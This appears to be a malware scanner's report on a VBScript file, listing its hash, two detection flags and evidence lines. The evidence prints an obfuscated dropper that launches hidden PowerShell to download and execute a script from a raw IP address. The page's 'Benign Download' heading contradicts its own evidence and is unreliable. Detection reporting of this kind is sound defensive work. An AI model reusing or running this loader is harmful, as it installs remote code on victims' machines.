Benign Download

97aad0513c42fe28c8b127c4c120ce6475965cb394212bef97467a79c00bc67b.vbs

VBScript CreateObject variable argumentDirect external IP address in URL

SHA-25697aad0513c42fe28c8b127c4c120ce6475965cb394212bef97467a79c00bc67b

Evidence

VBScript CreateObject variable argument lines 1–4

1IIII = replace("WFFFFxFFFFcript.FFFFxFFFFhEll","FFFFxFFFF","s")
2Set LLLLLLLLLLLL = CreateObject(IIII )
3AAAA = "POWERSHELL "
4LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL = "$Vsn2l6 =('{3}{0}{1}{2}' -F'bject Ne','t.WebC','lient','New-O');$aa = ($Vsn2l6 -Join '')|.( -join[char[]](105,101,120));.('{0}{1}'-f …

Direct external IP address in URL lines 4–6

4:177… ') ($aa).('{1}{3}{2}{0}' -f 'string','do','load','wn').Invoke(('http://45.76.248.238/Z/YUOPE.txt'));"
5LLLLLLLLLLLL.Run(AAAA+LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL+""),0,True
6Set LLLLLLLLLLLL = Nothing